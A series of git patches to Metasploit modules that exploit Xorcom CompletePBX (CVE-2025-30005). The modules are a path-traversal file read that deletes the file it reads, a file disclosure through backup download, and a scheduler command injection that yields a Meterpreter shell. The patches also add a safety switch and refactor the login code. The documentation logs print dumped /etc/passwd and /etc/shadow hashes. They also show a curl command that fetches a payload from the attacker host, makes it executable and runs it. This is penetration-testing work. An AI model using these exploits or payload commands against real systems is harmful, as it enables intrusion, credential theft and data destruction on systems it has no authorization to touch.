Co-authored-by: Diego Ledda --- .../auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb index 60bc4b949a..477d320574 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb @@ -42,7 +42,6 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - Opt::RHOST, Opt::RPORT(80), OptString.new('TARGETURI', [true, 'Base path of the CompletePBX instance', '/']), OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), From 837363493262e4490ea7c723fd612eb26a8201fa Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Mon, 30 Jun 2025 17:38:13 +0200 Subject: [PATCH 05/19] Add defanged mode, fix metadata, add error handling for zip files --- ...orcom_completepbx_diagnostics_file_read.rb | 58 +++++++++++++------ .../xorcom_completepbx_file_disclosure.rb | 2 +- .../http/xorcom_completepbx_scheduler.rb | 3 +- 3 files changed, 42 insertions(+), 21 deletions(-) diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb index 4027da2cd4..46ba6233a5 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb @@ -6,7 +6,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - def initialize + def initialize(info = {}) super( update_info( info, @@ -29,6 +29,7 @@ class MetasploitModule < Msf::Auxiliary ['URL', 'https://www.xorcom.com/products/completepbx/'], ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] ], + 'DisclosureDate' => '2025-03-02', 'Notes' => { 'Stability' => [CRASH_SAFE, OS_RESOURCE_LOSS], 'SideEffects' => [IOC_IN_LOGS], @@ -46,6 +47,11 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/passwd']) ] ) + register_advanced_options( + [ + OptBool.new('DefangedMode', [ true, 'Run in defanged mode', true ]) + ] + ) end def login @@ -80,9 +86,21 @@ class MetasploitModule < Msf::Auxiliary end def run - print_warning('This exploit WILL delete the target file if permissions allow.') + if datastore['DefangedMode'] + warning = <<~EOF - sleep(3) + Are you *SURE* you want to execute the module against the target? + Running this module will attempt to read and delete the file + specified by TARGETFILE on the remote system. + + If you have explicit authorisation, re-run with: + set DefangedMode false + EOF + fail_with(Failure::BadConfig, warning) + end + + print_warning('This exploit WILL delete the target file if permissions allow.') + sleep(2) sid_cookie = login target_file = "../../../../../../../../../../..#{datastore['TARGETFILE']}" @@ -135,34 +153,36 @@ class MetasploitModule < Msf::Auxiliary def list_files_in_zip(zip_data) files = [] - - ::Zip::InputStream.open(StringIO.new(zip_data)) do |io| - while (entry = io.get_next_entry) - files << entry.name + begin + ::Zip::InputStream.open(StringIO.new(zip_data)) do |io| + while (entry = io.get_next_entry) + files << entry.name + end end + rescue ::Zip::Error, ::IOError, ::ArgumentError => e + fail_with(Failure::UnexpectedReply, "Invalid ZIP data: #{e.class} - #{e.message}") end - files end def read_file_from_zip(zip_data, target_filename, files_list) - file_content = nil - possible_matches = files_list.select { |f| f.include?(target_filename) } - - if possible_matches.empty? - return nil - end + return nil if possible_matches.empty? correct_filename = possible_matches.first + file_content = nil - ::Zip::InputStream.open(StringIO.new(zip_data)) do |io| - while (entry = io.get_next_entry) - if entry.name == correct_filename - file_content = io.read - break + begin + ::Zip::InputStream.open(StringIO.new(zip_data)) do |io| + while (entry = io.get_next_entry) + if entry.name == correct_filename + file_content = io.read + break + end end end + rescue ::Zip::Error, ::IOError, ::ArgumentError => e + fail_with(Failure::UnexpectedReply, "Error reading ZIP archive: #{e.class} - #{e.message}") end file_content diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb index 477d320574..c926b1c688 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb @@ -6,7 +6,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - def initialize + def initialize(info = {}) super( update_info( info, diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb index 2f90c25fdb..c088d8c220 100644 --- a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb +++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb @@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote versions <= 5.2.35. The issue resides in the task scheduler functionality, where user-controlled input is improperly sanitized, allowing arbitrary command execution with web server privileges. - Only the **superadmin** user (`admin`) has the necessary permissions to trigger this exploit. + Only the superadmin user (admin) has the necessary permissions to trigger this exploit. Even when creating a new user with maximum privileges, the vulnerability does not work. }, 'Author' => [ @@ -40,6 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ] ], From eb81de66202c0856cfb9969de3e2faf9d7581f98 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 16 Jul 2025 19:32:52 +0200 Subject: [PATCH 06/19] Update documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md Co-authored-by: jheysel-r7 --- .../scanner/http/xorcom_completepbx_diagnostics_file_read.md | 1 - 1 file changed, 1 deletion(-) diff --git a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md index b16bd53ce4..c6898f5518 100644 --- a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md +++ b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md @@ -13,7 +13,6 @@ The vulnerability is identified as **CVE-2025-30005**. Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln) - ## Verification Steps 1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**. From 82d558bf2aa6b6638a3f4acb014367325b618b56 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 16 Jul 2025 19:33:04 +0200 Subject: [PATCH 07/19] Update modules/exploits/linux/http/xorcom_completepbx_scheduler.rb Co-authored-by: jheysel-r7 --- modules/exploits/linux/http/xorcom_completepbx_scheduler.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb index c088d8c220..5c3c640157 100644 --- a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb +++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb @@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote ) register_options([ - OptString.new('USERNAME', [true, 'Valid CompletePBX username']), + OptString.new('USERNAME', [true, 'Valid CompletePBX username', 'admin']), OptString.new('PASSWORD', [true, 'Valid CompletePBX password']), ]) end From 65b7415bcc53d02e054df01b27f7f0a2df7580ef Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 16 Jul 2025 19:33:15 +0200 Subject: [PATCH 08/19] Update modules/exploits/linux/http/xorcom_completepbx_scheduler.rb Co-authored-by: jheysel-r7 --- modules/exploits/linux/http/xorcom_completepbx_scheduler.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb index 5c3c640157..723fc427de 100644 --- a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb +++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb @@ -240,6 +240,7 @@ class MetasploitModule < Msf::Exploit::Remote task_desc = create_task(sid_cookie) task_id = get_latest_task_id(sid_cookie, task_desc) run_task(sid_cookie, task_id) - delete_task(sid_cookie, task_id) + ensure + delete_task(sid_cookie, task_id) if task_id end end From daf6cb3c84e861275bc8bac990b4033b1d4c11ea Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 16 Jul 2025 19:33:23 +0200 Subject: [PATCH 09/19] Update modules/exploits/linux/http/xorcom_completepbx_scheduler.rb Co-authored-by: jheysel-r7 --- modules/exploits/linux/http/xorcom_completepbx_scheduler.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb index 723fc427de..db30eb17de 100644 --- a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb +++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb @@ -125,7 +125,6 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'tasks', 'offset' => '0', 'max' => '20', - 'search' => '' }, 'cookie' => sid_cookie }) From 131ce6cb3fec227099484a3585e0369a87ad9293 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 16 Jul 2025 19:33:31 +0200 Subject: [PATCH 10/19] Update modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb Co-authored-by: jheysel-r7 --- .../scanner/http/xorcom_completepbx_diagnostics_file_read.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb index 46ba6233a5..fed749b313 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb @@ -40,7 +40,6 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - Opt::RPORT(80), OptString.new('TARGETURI', [true, 'Base path of the CompletePBX instance', '/']), OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), OptString.new('PASSWORD', [true, 'Password for authentication', 'admin']), From 136cc0ab3d46ade6d56ee58edd77804dfaf8ec87 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 16 Jul 2025 19:33:44 +0200 Subject: [PATCH 11/19] Update modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb Co-authored-by: jheysel-r7 --- .../scanner/http/xorcom_completepbx_diagnostics_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb index fed749b313..4dda366433 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGETURI', [true, 'Base path of the CompletePBX instance', '/']), OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), - OptString.new('PASSWORD', [true, 'Password for authentication', 'admin']), + OptString.new('PASSWORD', [true, 'Password for authentication' ]), OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/passwd']) ] ) From b06903810c758f804ac33aef9c00c42eb3295fb7 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 16 Jul 2025 21:18:26 +0200 Subject: [PATCH 12/19] feat(xorcom): add shared CompletePBX mixin, refactor modules, update docs --- ...orcom_completepbx_diagnostics_file_read.md | 81 ++++++++----- .../xorcom_completepbx_file_disclosure.md | 27 +++-- .../http/xorcom_completepbx_scheduler.md | 47 +++++--- .../exploit/remote/http/xorcom_completepbx.rb | 60 ++++++++++ ...orcom_completepbx_diagnostics_file_read.rb | 44 ++----- .../xorcom_completepbx_file_disclosure.rb | 62 +++------- .../http/xorcom_completepbx_scheduler.rb | 111 ++++-------------- 7 files changed, 209 insertions(+), 223 deletions(-) create mode 100644 lib/msf/core/exploit/remote/http/xorcom_completepbx.rb diff --git a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md index c6898f5518..51bd919b36 100644 --- a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md +++ b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md @@ -42,9 +42,21 @@ run ## Options -- `USERNAME`: Admin username for authentication. -- `PASSWORD`: Admin password for authentication. -- `TARGETFILE`: Path of the file to retrieve (**before automatic deletion**). +### USERNAME + +Admin username for authentication. + +### PASSWORD + +Admin password for authentication. + +### TARGETFILE + +Path of the file to retrieve (**before automatic deletion**). + +### DefangedMode + +Safety switch (true by default). Set to **false** to actually perform the read-and-delete operation. ## Scenarios @@ -58,17 +70,32 @@ run **Steps**: ```bash -msf6 auxiliary(xorcom_completepbx_diagnostics_file_read) > run https://rnd-repo.cpbxmt-demo187.xorcom.com -[*] Running module against 142.93.233.32 +msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > run http://192.168.1.32/ +[*] Running module against 192.168.1.32 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[-] Auxiliary aborted due to failure: bad-config: +Are you *SURE* you want to execute the module against the target? +Running this module will attempt to read and delete the file +specified by TARGETFILE on the remote system. -[*] Attempting authentication with username: admin -[+] Authentication successful! Session ID: sid=c8f08002130196439747e488447260f48d595c51 -[*] Attempting to read file: ../../../../../../../../../../../etc/passwd +If you have explicit authorisation, re-run with: + set DefangedMode false + +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > set DefangedMode false +DefangedMode => false +msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > run http://192.168.1.32/ +[*] Running module against 192.168.1.32 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[!] This exploit WILL delete the target file if permissions allow. +[*] Attempting to read file: ../../../../../../../../../../..//etc/passwd [*] ZIP file received, attempting to list files [*] Files inside ZIP archive: - - ../../../../../../../../../../../etc/passwd - - full_20250318_160522 - - audit_20250318_160522.log + - ../../../../../../../../../../..//etc/passwd + - full_20250716_191240 + - audit_20250716_191240.log [+] Content of /etc/passwd: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin @@ -86,24 +113,24 @@ www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin -gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin -_apt:x:100:65534::/nonexistent:/usr/sbin/nologin -systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin -systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin -systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin -messagebus:x:104:105::/nonexistent:/usr/sbin/nologin -systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin -mysql:x:105:108:MySQL Server,,,:/nonexistent:/bin/false -postfix:x:106:110::/var/spool/postfix:/usr/sbin/nologin -tcpdump:x:107:112::/nonexistent:/usr/sbin/nologin -sshd:x:108:65534::/run/sshd:/usr/sbin/nologin -dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin -Debian-snmp:x:110:113::/var/lib/snmp:/bin/false -asterisk:x:111:114:Asterisk PBX daemon,,,:/var/lib/asterisk:/usr/sbin/nologin -cc-cloud-rec:x:998:998::/var/lib/cc-cloud-rec:/sbin/nologin +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin +systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin +messagebus:x:100:107::/nonexistent:/usr/sbin/nologin +avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin +sshd:x:102:65534::/run/sshd:/usr/sbin/nologin +pbx:x:1000:1000:,,,:/home/pbx:/bin/bash +mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false +postfix:x:104:113::/var/spool/postfix:/usr/sbin/nologin +tcpdump:x:105:115::/nonexistent:/usr/sbin/nologin +Debian-snmp:x:106:116::/var/lib/snmp:/bin/false +_chrony:x:107:117:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin +dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin +polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin +asterisk:x:109:118:Asterisk PBX daemon,,,:/var/lib/asterisk:/usr/sbin/nologin +cc-cloud-rec:x:999:995::/var/lib/cc-cloud-rec:/sbin/nologin -[!] WARNING: This exploit causes the deletion of the requested file on the target if the privileges allows it. [*] Auxiliary module execution completed ``` diff --git a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md index 644eb83d64..4ac75379fc 100644 --- a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md +++ b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md @@ -37,9 +37,17 @@ run ## Options -- `USERNAME`: Admin username for authentication. -- `PASSWORD`: Admin password for authentication. -- `TARGETFILE`: Path of the file to retrieve (Base64-encoded in request). +### USERNAME + +Admin username for authentication. + +### PASSWORD` + +Admin password for authentication. + +### TARGETFILE + +Path of the file to retrieve (Base64-encoded in request). ## Scenarios @@ -53,10 +61,10 @@ run **Steps**: ```bash -msf6 auxiliary(admin/http/xorcom_completepbx_file_disclosure) > run http://192.168.56.101/ -[*] Running module against 192.168.56.101 -[*] Attempting authentication with username: admin -[+] Authentication successful! Session ID: sid=535c401396c04a4c92266c2d1457200e6f7c391a +msf6 auxiliary(scanner/http/xorcom_completepbx_file_disclosure) > run http://192.168.1.32/ +[*] Running module against 192.168.1.32 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. [*] Attempting to read file: /etc/shadow (Encoded as: ,L2V0Yy9zaGFkb3c=) [+] Content of /etc/shadow: root:$y$j9T$/vXScZij/ykAtLtP9H1nQ/$KK43hfpOrxdZwAZljjvS5dnF0ipg8NqpCOj9gbLJ9OA:19829:0:99999:7::: @@ -92,11 +100,6 @@ dnsmasq:!:19829:::::: polkitd:!*:19829:::::: asterisk:!:19829:::::: cc-cloud-rec:!:19829:::::: -
Fatal error: Uncaught TypeError: proc_close(): supplied resource is not a valid process resource in /usr/share/ombutel/www/includes/helper.php:61 -Stack trace: -#0 /usr/share/ombutel/www/includes/helper.php(61): proc_close() -#1 [internal function]: ombutel\helper::ombutel\{closure}() #2 {main} thrown in /usr/share/ombutel/www/includes/helper.php on line 61
- [*] Auxiliary module execution completed ``` diff --git a/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md b/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md index 993f62bc0d..e03e57309e 100644 --- a/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md +++ b/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md @@ -44,8 +44,13 @@ run ## Options -- `USERNAME`: Admin username for authentication. -- `PASSWORD`: Admin password for authentication. +### USERNAME + +Admin username for authentication. + +### PASSWORD + +Admin password for authentication. ## Scenarios @@ -59,35 +64,39 @@ run **Steps**: ```bash -msf6 exploit(linux/http/xorcom_completepbx_scheduler) > run http://192.168.56.101/ -[*] Started reverse TCP handler on 192.168.56.1:4444 +msf6 exploit(linux/http/xorcom_completepbx_scheduler) > run http://192.168.1.32/ +[*] Command to run on remote host: curl -so ./HEuUpqtYDav http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA;chmod +x ./HEuUpqtYDav;./HEuUpqtYDav& +[*] Fetch handler listening on 192.168.1.36:8080 +[*] HTTP server started +[*] Adding resource /LoPlnjEpeOexZNVppn6cAA +[*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if the target is running CompletePBX... -[+] Detected CompletePBX on 192.168.56.101:80 +[+] Detected CompletePBX on 192.168.1.32:80 [+] The target appears to be vulnerable. [*] Attempting authentication with username: admin -[+] Authentication successful! Session ID: sid=3b6c002860ddb5ca104e25eaa439b35052c443df -[*] Creating malicious scheduled task with description: Ut quis eum sed. +[+] Authentication successful! Session ID: sid=697e43b483efc1ac316461cde1fbb5d470abc3b4 +[*] Creating malicious scheduled task with description: Possimus quibusdam assumenda minima. [+] Malicious task successfully created. -[*] Retrieving latest task ID for description: Ut quis eum sed.... -[+] Found task with ID: 38 -[*] Executing malicious task ID 38... -[*] Sending stage (3045380 bytes) to 192.168.56.101 +[*] Retrieving latest task ID for description: Possimus quibusdam assumenda minima.... +[+] Found task with ID: 18 +[*] Executing malicious task ID 18... +[*] Client 192.168.1.32 requested /LoPlnjEpeOexZNVppn6cAA +[*] Sending payload to 192.168.1.32 (curl/7.88.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 192.168.1.32 [+] Task executed successfully! -[*] Sending delete request (mode=delete) for task ID 38... -[*] Sending delete request (mode=deleteConfirmed) for task ID 38... -[+] Task 38 deleted successfully! -[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:33372) at 2025-03-18 17:18:23 +0100 +[*] Sending delete request (mode=delete) for task ID 18... +[*] Sending delete request (mode=deleteConfirmed) for task ID 18... +[+] Task 18 deleted successfully! +[*] Meterpreter session 6 opened (192.168.1.36:4444 -> 192.168.1.32:40800) at 2025-07-16 21:11:31 +0200 -meterpreter > getuid -Server username: root -meterpreter > sysinfo +meterpreter > sysinfo Computer : localhost.localdomain OS : Debian 12.5 (Linux 6.1.0-20-amd64) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux -meterpreter > ``` ### Impact diff --git a/lib/msf/core/exploit/remote/http/xorcom_completepbx.rb b/lib/msf/core/exploit/remote/http/xorcom_completepbx.rb new file mode 100644 index 0000000000..e40fc4aa41 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/xorcom_completepbx.rb @@ -0,0 +1,60 @@ +# lib/msf/core/exploit/remote/http/xorcom_completepbx.rb +module Msf + class Exploit + class Remote + module HTTP + # + # Shared routines for Xorcom CompletePBX modules + # + module XorcomCompletePBX + # Probe root page and return appropriate CheckCode + # @return [Msf::Exploit::CheckCode] + def is_completepbx + vprint_status('Checking if the target is running CompletePBX...') + res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'method' => 'GET') + return Exploit::CheckCode::Unknown('No response from target.') unless res + return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200 + + doc = res.get_html_document + if doc.at('//meta[@name="description"][@content="CompletePBX"]') || + doc.at('//meta[@name="application-name"][@content="Ombutel"]') + vprint_good("Detected CompletePBX on #{peer}") + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe('Target does not appear to be running CompletePBX.') + end + + # Authenticate with supplied USERNAME/PASSWORD and return session cookie + # @return [String] the "sid=..." cookie value + # @raise [Msf::Exploit::Failure] on authentication failure + def completepbx_login + vprint_status("Attempting authentication with username: #{datastore['USERNAME']}") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'login'), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'userid' => datastore['USERNAME'], + 'userpass' => datastore['PASSWORD'] + } + ) + unless res&.code == 200 + vprint_error('Authentication failed') + fail_with(Failure::NoAccess, 'Authentication failed') + end + + sid = res.get_cookies.scan(/sid=[a-f0-9]+/).first + unless sid + vprint_error('No session ID received') + fail_with(Failure::NoAccess, 'No session ID received') + end + + vprint_good("Authentication successful! Session ID: #{sid}") + sid + end + end + end + end + end +end diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb index 4dda366433..fbaae6664b 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb @@ -5,6 +5,8 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::XorcomCompletePBX + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( @@ -22,7 +24,9 @@ class MetasploitModule < Msf::Auxiliary The vulnerability is identified as CVE-2025-30005. }, - 'Author' => ['Valentin Lobstein'], + 'Author' => [ + 'Valentin Lobstein' # Research and module development + ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-30005'], @@ -40,9 +44,8 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - OptString.new('TARGETURI', [true, 'Base path of the CompletePBX instance', '/']), OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), - OptString.new('PASSWORD', [true, 'Password for authentication' ]), + OptString.new('PASSWORD', [true, 'Password for authentication']), OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/passwd']) ] ) @@ -53,35 +56,8 @@ class MetasploitModule < Msf::Auxiliary ) end - def login - print_status("Attempting authentication with username: #{datastore['USERNAME']}") - - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'login'), - 'method' => 'POST', - 'ctype' => 'application/x-www-form-urlencoded', - 'vars_post' => { - 'userid' => datastore['USERNAME'], - 'userpass' => datastore['PASSWORD'] - } - }) - - unless res - fail_with(Failure::Unreachable, 'No response from target') - end - - unless res.code == 200 - fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") - end - - sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first - - unless sid_cookie - fail_with(Failure::NoAccess, 'Authentication failed: No session ID received') - end - - print_good("Authentication successful! Session ID: #{sid_cookie}") - return sid_cookie + def check + is_completepbx end def run @@ -101,8 +77,8 @@ class MetasploitModule < Msf::Auxiliary print_warning('This exploit WILL delete the target file if permissions allow.') sleep(2) - sid_cookie = login - target_file = "../../../../../../../../../../..#{datastore['TARGETFILE']}" + sid_cookie = completepbx_login + target_file = "../../../../../../../../../../../#{datastore['TARGETFILE']}" print_status("Attempting to read file: #{target_file}") diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb index c926b1c688..fc74c6d06d 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb @@ -5,12 +5,14 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::XorcomCompletePBX + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, - 'Name' => 'CompletePBX Authenticated File Disclosure via Backup Download', + 'Name' => 'Xorcom CompletePBX Authenticated File Disclosure via Backup Download', 'Description' => %q{ This module exploits an authenticated file disclosure vulnerability in CompletePBX <= 5.2.35. The issue resides in the backup download function, where user input is not properly validated, @@ -31,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary ], 'Privileged' => true, 'DisclosureDate' => '2025-03-02', - 'Platform' => ['linux', 'unix'], + 'Platform' => %w[linux unix], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], @@ -42,48 +44,19 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - Opt::RPORT(80), - OptString.new('TARGETURI', [true, 'Base path of the CompletePBX instance', '/']), OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), - OptString.new('PASSWORD', [true, 'Password for authentication', 'admin']), + OptString.new('PASSWORD', [true, 'Password for authentication']), OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/shadow']) ] ) end - def login - print_status("Attempting authentication with username: #{datastore['USERNAME']}") - - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'login'), - 'method' => 'POST', - 'ctype' => 'application/x-www-form-urlencoded', - 'vars_post' => { - 'userid' => datastore['USERNAME'], - 'userpass' => datastore['PASSWORD'] - } - }) - - unless res - fail_with(Failure::Unreachable, 'No response from target') - end - - unless res.code == 200 - fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") - end - - sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first - - unless sid_cookie - fail_with(Failure::NoAccess, 'Authentication failed: No session ID received') - end - - print_good("Authentication successful! Session ID: #{sid_cookie}") - return sid_cookie + def check + is_completepbx end def run - sid_cookie = login + sid_cookie = completepbx_login encoded_path = ',' + Rex::Text.encode_base64(datastore['TARGETFILE']) 